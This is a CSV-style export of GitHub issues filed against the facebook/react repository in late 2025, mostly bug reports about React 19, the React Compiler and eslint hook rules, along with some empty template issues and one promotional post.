State should update correctly after async operations

## Actual Behavior
State retains old value

React version: 19.0.0","Status: Unconfirmed,Resolution: Stale",2025-11-26T10:27:48Z,2026-03-15T07:21:55Z,5
facebook/react,3666605190,[Compiler Bug]: The library for web and native user interface,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

Description: React is a JavaScript library for building user interfaces, designed to help developers create interactive, component-based user interfaces for web (and native) applications. 

### Repro steps

Description: React is a JavaScript library for building user interfaces, designed to help developers create interactive, component-based user interfaces for web (and native) applications. 

### How often does this bug happen?

Every time

### What version of React are you using?

Description: React is a JavaScript library for building user interfaces, designed to help developers create interactive, component-based user interfaces for web (and native) applications. 

### What version of React Compiler are you using?

Description: React is a JavaScript library for building user interfaces, designed to help developers create interactive, component-based user interfaces for web (and native) applications. ","Type: Bug,Status: Unconfirmed",2025-11-26T09:14:27Z,2025-12-05T16:06:29Z,0
facebook/react,3666406208,Bug: React DevTools: Component props panel freezes when inspecting rapidly updating components,"### Summary
When inspecting components in React DevTools, the props/state panel sometimes freezes when the component tree is rapidly updating (e.g., frequent re-renders triggered by data polling or animations). DevTools UI stops responding until switching to another tab or selecting a different component.

### Steps to Reproduce
1. Create a component that re-renders frequently (e.g., using setInterval or a high-frequency animation state update).
2. Open React DevTools → Components tab.
3. Select the rapidly updating component.
4. Observe props/state panel becoming unresponsive or delayed.

### Expected Behavior
DevTools should continue updating props/state smoothly without UI freeze.

### Actual Behavior
Props/state panel becomes unresponsive; UI stops updating and interaction freezes temporarily.

### Environment
- React DevTools version: (latest stable, please fill exact version)
- Browser: Chrome/Firefox (tested on Chrome)
- OS: Windows/Linux/macOS (repro across machines)

### Additional Details
- Switching to Profiler tab and back sometimes restores responsiveness.
- Suspect bottleneck during frequent renders or serialization.
- Can provide minimal reproduction repo if required.
","Status: Unconfirmed,Component: Developer Tools,Resolution: Stale",2025-11-26T08:22:17Z,2026-05-17T22:20:34Z,3
facebook/react,3663748146,Bug: Suspense + React.lazy rendering order regression between React 18.3.1 → 19.1.0 → 19.2.0 (unexpected repeated renders in 19.2),"I’m seeing a behavioral change in Suspense + React.lazy rendering order when upgrading from React 18.3.1 to React 19.x.
Specifically:

React 18.3.1: Components render once, in order:
CompA → CompB → CompC → CompD

React 19.1.0: Still renders cleanly in order (same as 18.3.1).

React 19.2.0: Rendering order changes significantly, and components render multiple times in progressive batches, producing logs like:
```
CompA
CompB
CompA
CompB
CompC
CompA
CompB
CompC
CompD
```
This occurs even in production build, and without StrictMode.
Splitting each component into its own Suspense boundary restores the expected behavior.

This appears to be caused by a change in Suspense reveal / pre-warm scheduling between 19.1 and 19.2 — but I'm not sure if this is an intended change, an edge case, or a regression.

I'm opening this issue to confirm:
- Is this new repeated rendering behavior expected in 19.2?
- Is there documentation on the Suspense behavior change between 19.1 and 19.2?
- Should a single Suspense boundary cause repeated re-renders for sibling lazy components in this minimal case?

## Minimal Reproduction
Reproduction environment
React versions tested:
18.3.1
19.1.0
19.2.0
Build: Production build 
Mode: No StrictMode
Bundler: any (Vite/Webpack tested) — same results
Browser: Chrome stable

## Code Example (minimal)

App.tsx
```
import { lazy, Suspense } from ""react"";

const CompA = lazy(() => import(""./CompA""));
const CompB = lazy(() => import(""./CompB""));
const CompC = lazy(()... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-11-25T16:23:20Z,2026-03-02T18:17:20Z,2
facebook/react,3663729686,Bug: A tree hydrated but some attributes of the server rendered HTML didn't match the client properties.,"Hi,

Original issue: https://github.com/mantinedev/mantine/issues/8319 (the author of this package and Next.js developers indicated that it is related to React)

I have this error which happens very randomly (on refresh or navigation, 1 time out of 5):

<img width=""983"" height=""747"" alt=""Image"" src=""https://github.com/user-attachments/assets/9fe6c9cf-29cc-4029-93f1-e44d1f80bc8d"" />

> A tree hydrated but some attributes of the server rendered HTML didn't match the client properties. This won't be patched up. This can happen if a SSR-ed Client Component used:
> 
> - A server/client branch `if (typeof window !== 'undefined')`.
> - Variable input such as `Date.now()` or `Math.random()` which changes each time it's called.
> - Date formatting in a user's locale which doesn't match the server.
> - External changing data without sending a snapshot of it along with the HTML.
> - Invalid HTML tag nesting.
> 
> It can also happen if the client has a browser extension installed which messes with the HTML before React loaded.
> 
> See more info here: https://nextjs.org/docs/messages/react-hydration-error
> 
>                             `<@mantine/core/Paper component=""header"" bg=""dark"" radius={0} p={{base:12,sm:24,md:32}} ...>
>                               <@mantine/core/Box ref={null} mod={[...]} className=""!flex flex..."" style={{...}} ...>
>                                 <InlineStyles selector="".__m__-_R_..."" styles={{padding:""c...""}} media={[...]}>
>                             ... [TRUNCATED]",Status: Unconfirmed,2025-11-25T16:18:30Z,2026-01-13T20:48:03Z,2
facebook/react,3663676229,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2025-11-25T16:04:41Z,2025-11-25T16:04:50Z,0
facebook/react,3662482904,[Compiler Bug]: no-deriving-state-in-effects does not error if you add the state setter to the dependencies array,"### What kind of issue is this?

- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [x] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhAgHgBwjALgAgBMEAzAQygBsCSoA7OXASwjvwFkBPAQU0wApgRCHCgBbBHVxh8AX2T5ghEeMnSFZOp1kBKRQB02+OKzAEA2stESpYADJMzAGnxgEuACIqb0h2YC6+AC8hvhh+FBuAMq4ZLgI+AA8+ABKCGTKdJQ8MDBknEn4XtZqHu5kTJQyAD74dFSU+AB8+LX1lI0t-FaqtjoA3Iah+AD0I-gA5kwAbggyZPhzlExSi7k4w2lkjAB0kQgAoiQkCIz8-HpBLcDDYW6e3mr2jrjdj32DRrIulu-S-gMhkYxsI5nUIAQprN8AslisCAh1jBNuldvsjiczhdgtdbq53MVer4Xm8Sh9ht98L8ydIXPdCT5ngFAXRZIYQE4QCY6CQmBMUCAmGJsHh8LhOJgEkIAAqUKBTOgAeUwzFMcnwJBgEDE+AA5AAjMj6hCUAC0mDlCtNMFRuFNJmFlURI0IL11n0MgmGYwdmEqcRYdHYEGICn0IDIHXDw0k0yYWroPgUNyMYXD00jTEIcQQADkIFF3DEcwBJOgY07ScMKXAwKAICmGWSuANgXlg2XylbK1V0MADDngAAWEAA7mX4jA6JGwChyFUELIgA

### Repro steps

1. See playground - one useEffect gives a eslint error the other does not

### How often does this bug happen?

Every time

### What version of React are you using?

19.1.0

### What version of React Compiler are you using?

1.0.0","Type: Bug,Status: Unconfirmed",2025-11-25T10:38:58Z,2025-11-25T16:36:59Z,1
facebook/react,3656173332,Bug: useEffect cleanup function throws TypeError when returning null in React 19,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2025-11-23T15:56:54Z,2025-11-26T10:57:54Z,2
facebook/react,3655597134,"Bug: [React 19] [Regression] Unexpected TypeError when `useEffect` returns `null` — ""destroy is not a function"" in React 19.x (cleanup now stricter)","Bug: [React 19] [Regression] Unexpected TypeError when useEffect returns null — ""destroy is not a function"" in React 19.x (cleanup now stricter) 

### Summary
After upgrading to React 19.x, code that previously returned `null` from a `useEffect` callback now throws `TypeError: destroy is not a function` during cleanup. Previously returning `null` or other non-function values often worked. This appears to be stricter runtime enforcement of the rule that an effect may only return a cleanup function or nothing.

### Reproduction (minimal)
```jsx
import React, { useEffect } from ""react"";

export default function App() {
  useEffect(() => {
    // early exit path that used to return null
    if (Date.now() < 0) {
      return null;
    }
    // normal effect (no cleanup)
    console.log(""effect ran"");
  }, []);

  return <div>Test</div>;
}
","Status: Unconfirmed,Resolution: Stale",2025-11-23T07:10:47Z,2026-02-28T09:08:53Z,3
facebook/react,3652892307,Bug: [EPRH] Adding multiple rules to eslint-disable-next-line along with noInlineConfig: true somehow doesn't report any errors,"

React version: 18

I had originally reported this in the ESLint repo, but they suggested it to move it here eslint/eslint#20344
## Steps To Reproduce

1. Clone the repo https://github.com/ankitprahladsoni/eslint-noInlineConfig-bug
2. run `npm run lint`

## The current behavior
Running npm run eslint results in 2 warnings
```
   8:5  warning  '// eslint-disable-next-line react-hooks/exhaustive-deps, react-hooks/set-state-in-effect' has no effect because you have 'noInlineConfig' setting in your config
  10:6  warning  React Hook useEffect has a missing dependency: 'count'. Either include it or remove the dependency array. You can also do a functional update 'setCount(c => ...)' if you only need 'count' in the 'setCount' call  react-hooks/exhaustive-deps
```


## The expected behavior
ESLint should have thrown at least one error, since noInlineConfig is set to true. We can get it if we remove the inline config manually
`8:5 error    Error: Calling setState synchronously within an effect can trigger cascading renders`","Status: Unconfirmed,Resolution: Stale",2025-11-21T19:46:13Z,2026-05-26T17:24:25Z,7
facebook/react,3649153864,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2025-11-20T21:26:40Z,2025-11-24T16:37:34Z,2
facebook/react,3649151500,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
","Status: Unconfirmed,Resolution: Stale",2025-11-20T21:25:59Z,2026-03-18T16:26:59Z,3
facebook/react,3637876489,Bug: Learn bugs,"<!--
There is an issue while rendering the output result in the learning pages below the code example where it appeared the UI, now it doesn't  appear anymore
-->

React version: 19.2

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
[ Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.](https://react.dev/learn/updating-arrays-in-state)
-->

## The current behavior


## The expected behavior
","Status: Unconfirmed,Resolution: Stale",2025-11-18T12:11:49Z,2026-02-23T12:17:37Z,2
facebook/react,3637041380,[Compiler Bug]: React Compiler infers incorrect dependencies based on variable declaration order,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhHCA7MAXABAWwEMAHXAXlwwQHdcBZEgCgG0AdDXXNkQ1kAGlzACASwzJcARgC+AXXaduAIz6Dh+MRIBMc9rICU7dggAexCDDzoseAHJR8CGCLgBJDMSjYAwhHzmqDDwKRmEAN0IAGygEQUwANSiY7wALQgwAcwQAE1xpfXIAPiEFXGscSgclJwAVAE9iBHJcCOiEAH4AOizse3xqmHrGxn0AbiMOTjLMCoSkhFT0rOzvKMilQjgAa2bGKmpEtokMKqcCsmLgUqmpubbFzJzGQ5jOgDMYPz6BvZoXhH0Y2ueXGGGB5Tw6jEeWaRGI3QQ2D2p0GDQBAEJQcCYIjYBxGMCbgAePpOFzuTzYQk3KatGJkYB0joI3ookbSak00QYBkaDAcyZcm53ZJpR7ZBkihZi5arSLrTZbAVC3AAekKwKB-NBAjQmDeIgyKBAIn8Fjw2DRQlwAAVohkxAB5YjYEQzGEfPy4ADkG2qkQAtMR7WIAzjNtgA+h-CJIk5VdkRDhvViMKFSqrVdHiLHCK7MHQINkEBI+Gs+OxpLgwHmkwaEGBbSGMM781gxrqwCkINR3NgnBgomAUG8hwhpEA

### Repro steps

The React Compiler infers incorrect dependencies for the variable min when its declaration appears after the callback definition. Given the following code:

``` typescript
const map = new Map([
  [""a"", { min: 1 }],
  [""b"", { min: 2 }],
]);

export const NumericInputComponent = ({ value, onValueChanged }) => {
  const numberType = value?.getNumberType();

  const onValueChangedCallback = (newValue: number) => {
    onVa... [TRUNCATED]","Type: Bug,Status: Unconfirmed",2025-11-18T09:24:13Z,2025-11-19T05:12:07Z,1
facebook/react,3632748015,Bug: eslint-react-hooks false positives on immutability rule,"As in [#34776](https://github.com/facebook/react/issues/34776), I have eslint which raises me an error about the immutability rule when I am trying to redirect with `window.location.href`

```
Error: This value cannot be modified

Modifying a variable defined outside a component or hook is not allowed. Consider using an effect.

   5 |     await new Promise((resolve) => setTimeout(() => {resolve()}, 1000))
   6 |
>  7 |     window.location.href = ""/"";
     |     ^^^^^^^^^^^^^^^ value cannot be modified
   8 |   }
   9 |   
  10 |   return <form onSubmit={handleSubmit(onSubmit)}>
```


React version: 19.2.0

## Steps To Reproduce

In my case, I am using react-hook-form which provide a `handleSubmit` callback  to do the form validation, and it seems that using `window.location.href` in this callback trigger the error. 

You can find a simple reproduction [here](https://playground.react.dev/#N4Igzg9grgTgxgUxALhHCA7MAXABACwEMMATAGwQGUoAjAWwEs8BeXACgDMMBKXZgPlxc23ADoZxCAB4AHCDDwkEHQlDJ4OUDHGwNMuALIBPAIIyZI3MHG5c6LHkzV6TPrkJgj29rwFWbtu4A7oSuGAhBuAAKMBCMYAhsbDAIkGQAbgi+ggnYACoMdAjQ2EnZVilpmSIAvgA0uACMAAyt3GISGIG4QQykEEEAdGQQcIS6mIP4KRxuoiAA9PMA3AE1AQEp2LBdADwc8nS4TrSM2MzARKQUzmdsJy7Y3DX8Aba7fTJQeNhGMgjMebYaTYea4BavLq4XYLA4wOiCXCrDDrDAgOpoTAcBgAcxQIEKcgUuF+-ys0TIUBxfQA8jIJlhcDUhLEjgByGiEGgIMgAWhklOpGF5KUIOl56DoMgYFBgCxIDBwbOR4jY1ihCwWkulZHGegwBggSmQuHmhDIZHm4mZYD1YGxqQpVNp9P1YG4y3R4HwAwAkhhgTAMOawCgVGQEjUgA) (without react-hook-form)

","Status: Unconfirmed,Resolution: Stale",2025-11-17T10:40:40Z,2026-05-22T07:19:56Z,3
facebook/react,3630519014,Test,Test issue,,2025-11-16T13:01:32Z,2025-11-16T13:01:59Z,0
facebook/react,3630516733,Test,Test issue,,2025-11-16T12:59:21Z,2025-11-16T13:00:31Z,0
facebook/react,3628217204,Bug: PATCH Request Body Ignored/Stripped When Using fetch API on React 19.2.0,"When attempting to send a **JSON** request body using the standard fetch API with the **HTTP** method set to **PATCH,** the body is consistently ignored or stripped from the request payload. This regression makes it impossible to perform partial updates requiring data transfer via the request body on React projects running **version 19.2.0.**

The issue is specifically observed when correctly setting the **Content-Type: application/json** header and stringifying the payload using **JSON.stringify()**.

### To Reproduce 

1. Set up a new React project using version 19.2.0
2. Create a component that performs a **PATCH** request using the **fetch** API, similar to the code snippet provided below. 
3. Set a network monitor (e.g., Chrome Devtools, Wireshark) on the target endpoint. 
4. Execute the **handlePatch** function. 

### Minimal Code Snippet: 

```bash
// This is the structure used to reproduce the bug
const dataToUpdate = { status: 'pending', notes: 'Needs review' };

fetch('[https://api.example.com/items/123](https://api.example.com/items/123)', {
    method: 'PATCH',
    headers: {
        'Content-Type': 'application/json',
    },
    body: JSON.stringify(dataToUpdate),
})
.then(response => response.json())
.then(data => console.log('Response:', data));
// When monitoring the request, the body is empty or not transmitted.

```

### Expected Behavior 

The **PATCH** request should include the serialized JSON object **({""status"":""pending"", ""notes"":""Needs review""})** in i... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-11-15T06:57:53Z,2026-02-22T13:19:40Z,3
facebook/react,3628171971,.,.,Status: Unconfirmed,2025-11-15T06:23:53Z,2025-11-15T06:28:27Z,3
facebook/react,3627113669,Bug: recovery my settlements,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2025-11-14T20:46:40Z,2025-11-14T22:45:34Z,0
facebook/react,3626876964,[Compiler Bug]: stable setter for useOptimistic,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhAMygOzgFwJYSYAEAwhALYAOhCmOAFMGAgDYK4CCuBmAvgJRFgAHUzCccQmBxEA2njAAFWgBM8mAOYAaIsxwBJJavUaAukQC8RKMwDylfOQX449NAEMWzfgG5R-iSkZd25CS2tmEk8WACMQgGt6ekELAD4hAPE9Q2VMNU16HBgoBF9MooQcWGJmNk5QzGS-MRxeHVla9hwufEJTMrEWmErqonpygB5U8vEJgGVWLv1MSihghotgEN6+IgB6aZbxcWAFXPyNIgAyK6IJsEp3TFSAcgA6D5eJvYen1N5JgcAvxRLwQFoQJJMGg8BoUCA8FQIDAZDgAJ6UBBCIiKFhQDTqew7MBEXhENAwChEF5xGKsAC0lDxBMw9OG23pkioeDYMD2amkL2aokYoiI+z2XMoPPcOwAshAVAhkERhCBomqxaqQI9MHg4AAVAAWwzARogLBUapVaswNDVWi1apw7hgGkq1u1AEYAJwO0G6WUKGEIEm4-GEhw8MC+cHgc0Ad2WOAQMEwnjAKA8XgQvCAA

### Repro steps

<img width=""1280"" height=""635"" alt=""Image"" src=""https://github.com/user-attachments/assets/47665500-8654-4d6b-9d20-444460671c2f"" />

### How often does this bug happen?

Every time

### What version of React are you using?

19.2

### What version of React Compiler are you using?

playground",Type: Bug,2025-11-14T19:24:08Z,2025-11-18T15:50:44Z,1
facebook/react,3622160562,Bug: ReactFlightAsyncDebugInfo test 'can track async information when awaited' fails due to snapshot mismatch,"


React version:Experimental / latest commit


## Steps To Reproduce

1. Clone the React repository.
2. Run the following test:
   yarn test packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js --testNamePattern=""can track async information when awaited"" --runInBand --verbose
3. Observe that the test fails due to a snapshot mismatch.

https://github.com/user-attachments/assets/426920b1-7338-4d5d-833e-22e33a7d5c4c

-->

Link to code example: packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js


# Context: Snapshot Mismatch in ReactFlightAsyncDebugInfo-test

###  Failing Test Case

test(""can track async information when awaited"", async () => {
  const result = await someAsyncFunction();
  expect(getDebugInfo(result)).toMatchInlineSnapshot(`
    Object {
      ""value"": undefined,
    }
  `);
});

### implementation

export async function someAsyncFunction() {
  return {
    value: [undefined],
  };
}
-->

### Actual Output
```js
Object {
  ""value"": [undefined],
}

-->

## The current behavior
The inline snapshot does not match the current output. The test expects `""value"": undefined` but receives `""value"": [ , ]`.

## The expected behavior
The test should pass and the snapshot should match the current output.


","Status: Unconfirmed,Resolution: Stale",2025-11-13T17:36:19Z,2026-04-15T13:36:28Z,7
facebook/react,3617738041,[Compiler Bug]:  function are not memorized correctly.,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhAMygOzgFwJYSYAEAKgmDgIwAUAlEcADrFFyEVEDaCAHgA54YCADREwCHAFF+ghAF0iAXiJRxAZRwBDHAmoBWWsyIrxktGgS5qdJQD4GR463Y4i+ALYIYSsRICSmDowAG6aADbW9Ir2TCxOvlIyQtZ8QsFR9qkIwUQAtESUhnFEAL6ilAAMVUXxeGhE1LwCQkqKyhX0sfHGcGEImjABQaERHl41TiWOxkI4sMQ20ax9A0NeI9RjMBNlXE2ychNsmByEAMJheHAA1j6LMdPOJxB9AHRhEADm1ADkeGDSZoIAAmP1E-0BsmBO0cxw4EKSIJ8+xabXajlm8yIAB5gXgcudLjdFMBCVdriVlpowGAAHKaTyKRggHQ8HC5ITA3J6KrM2zAFEIErYgD0eOCtmYJRAwhAxzQeE+KBAeHcfAgMFcOAAnnwEAwiAAFMJQT54TAAeT4+HYpSIaBgEHcRB+ACNNK6EGFcnwTWbMBz+rhcmw1Xg+jAxf8cD8ANzMZjULpEEUi0MCMLaAiYACyEGBCGQRGZ4TCzKlYizYAV5CNfvNVptJ1osZl4AAFhAAO5rGCYcJgFBoAdCoA

### Repro steps

### Link to the code that reproduces this issue

https://github.com/promer94/incorrect-memo-fn-nextjs

### To Reproduce

1. build the application with `next build`
2. start the application with `next start`
3. click the numbers to see the console log


```jsx
function Test1() {
    const [expire, setExpire] = useState(5)
    useEffect(() => {
        const timer = setInterval(() => {
            setExpire((prev) => prev - 1... [TRUNCATED]","Type: Bug,Component: React Compiler",2025-11-12T18:32:06Z,2025-12-05T19:29:07Z,2
facebook/react,3615363899,💡 Platform Suggestion: Bounty System for React Library,"Hi React Library team! 👋

I wanted to share **Roxonn** - a decentralized bounty platform that could help accelerate development.

**What is Roxonn?**
✅ Turn GitHub issues into crypto bounties (XDC, USDC, ROXN)
✅ Notify 300+ developers instantly
✅ Auto-pay when PRs merge via blockchain
✅ Zero crypto setup needed

**Quick flow:**
1. Register repo (GitHub App install)
2. Fund pool with USDC (stable pricing)
3. Assign bounties to features/bugs
4. PR merged → automatic payment

**Why teams use it:**
- Access to active developer network
- **Only 1% total platform fee**
- Transparent blockchain payments

Learn more: **https://roxonn.com**

*No pressure - just sharing a resource!*",,2025-11-12T07:40:45Z,2025-11-16T08:49:50Z,0
facebook/react,3611057203,[Compiler Bug]:,"### What kind of issue is this?

- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [x] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://github.com/manNomi/rc-test

### Repro steps

## 🐞 Bug Report: `eslint-disable` incorrectly suppresses `incompatible-library` warning, causing silent memoization skip

### Summary

First and foremost, I want to express my sincere gratitude for the clarification provided in https://github.com/facebook/react/pull/35096. You were absolutely correct that the compiler automatically skips memoization for incompatible APIs, and I apologize for my earlier misunderstanding about needing `use no memo`.

I'm writing to humbly bring attention to what I believe may be an important edge case: an unrelated `eslint-disable` comment (such as for `exhaustive-deps`) appears to inadvertently suppress the `incompatible-library` warning. This transforms what should be a debuggable ""automatic skip"" (where developers are properly notified) into a silent skip scenario (where no notification occurs), which could potentially lead to confusion, especially for developers who are still learning React.

---

### The Two Scenarios

Please allow me to illustrate the concern through two scenar... [TRUNCATED]","Type: Bug,Status: Unconfirmed",2025-11-11T07:28:10Z,2025-11-11T07:28:27Z,0
facebook/react,3608205121,Bug: Memory leak in React input when external script or extension keeps references,"UDP: Please see the first comment  – the issue is triggered by third‑party code that keeps long‑lived references to DOM nodes. Below is the original issue description.

_____________

React input elements leak memory in Chrome when conditionally rendered. The leak occurs with ESM builds only (not UMD), and does not occur in Edge. The minimal workaround reduces but doesn't fully eliminate the leak. 

React version: tested on v**18** and v**19**

## Steps To Reproduce

Essentially the repro is as follows.

```js
function App() {
  const [isOpen, setIsOpen] = useState(false);
  return (
    <>
      <button onClick={() => setIsOpen(!isOpen)}>Toggle</button>
      {isOpen && <ModalWithInput />}
    </>
  );
}

function ModalWithInput() {
  return (
    <div>
      <input />
      <h3>Leaking text...</h3>
    </div>
  );
}
```

0. Make ESM build and run.
1. Open in Chrome (not Edge)
2. DevTools → Memory → Take heap snapshot
3. Force garbage collection and take snapshot 1
4. Click ""Toggle"" 20 times
5. Force garbage collection and take snapshot 2
6. Compare snapshot 2 to 1 and search for ""Detached""
7. Observe 10 Detached inputs and 10 h3 elements.

It means if you have a modal with hundreds of elements interacting with each other, you may easily fall into a serious issue. In my real case, 5 open/close operations led to ~1Mb leak.

I created a Stackblitz demo: https://stackblitz.com/edit/react-input-memory-leak.
Download it, build locally, run with vite (all included in the demo).
It... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-11-10T14:03:29Z,2026-02-26T12:18:35Z,4
facebook/react,3605726681,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
","Status: Unconfirmed,Resolution: Stale",2025-11-10T01:04:18Z,2026-02-08T05:29:52Z,1
facebook/react,3601979797,"Bug: Errors thrown from ""hidden"" Activity boundaries shouldn't escape the boundary","<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->
The provided repro is a contrived example, but a common example of where this is unexpected is if you were using Activity to render a previously visited page, and that page rendered a hook that throws an error if it's missing some sort of context. 

In the case of Next.js, imagine we're grabbing route params via `useParams`, and we navigate to a route that no longer has that param available. When that subtree is switched to ""hidden"" mode, if any of the containing hooks/components threw an error when a param value is unavailable, that error would be triggered when navigating to the different page. 

React version: 19.2.0

## Steps To Reproduce

1. Render an `<Activity>` boundary in ""hidden"" mode, and have it throw an error
2. Observe that even though the containing component is hidden, the error escapes and causes an error while rendering the ""Visible"" element.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example: https://codesandbox.io/p/devbox/distracted-poitras-yd3dkt

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  reposit... [TRUNCATED]",Status: Unconfirmed,2025-11-07T20:50:56Z,2025-11-07T23:23:18Z,1
facebook/react,3601710064,[Proposal] Server-Side React Specification with Declarative Side-Effects and Query-Based Selectivity,"**Overview**

This proposal outlines a specification for server-side React code that brings together functional programming principles, declarative side-effects, and intelligent query-based data fetching to improve both developer experience and application performance.

---

**Motivation**

Modern server-side rendering approaches often separate data fetching logic from component logic, leading to waterfall requests and tight coupling between components and data sources. This proposal aims to address these challenges by introducing a unified approach that:

- Maintains React's declarative programming model on the server
- Provides performance efficiencies through document-scoped query optimization
- Allows client-side selectivity over response payloads
- Preserves functional programming principles throughout the stack

---

**Key Advantages**

**1. Functional Programming (FP) Approach**
- Pure, composable server components
- Predictable data transformations
- Easier testing and reasoning about server-side logic

**2. `useEffect` Declarative Side-Effects**
- Extends React's declarative model to server-side effects
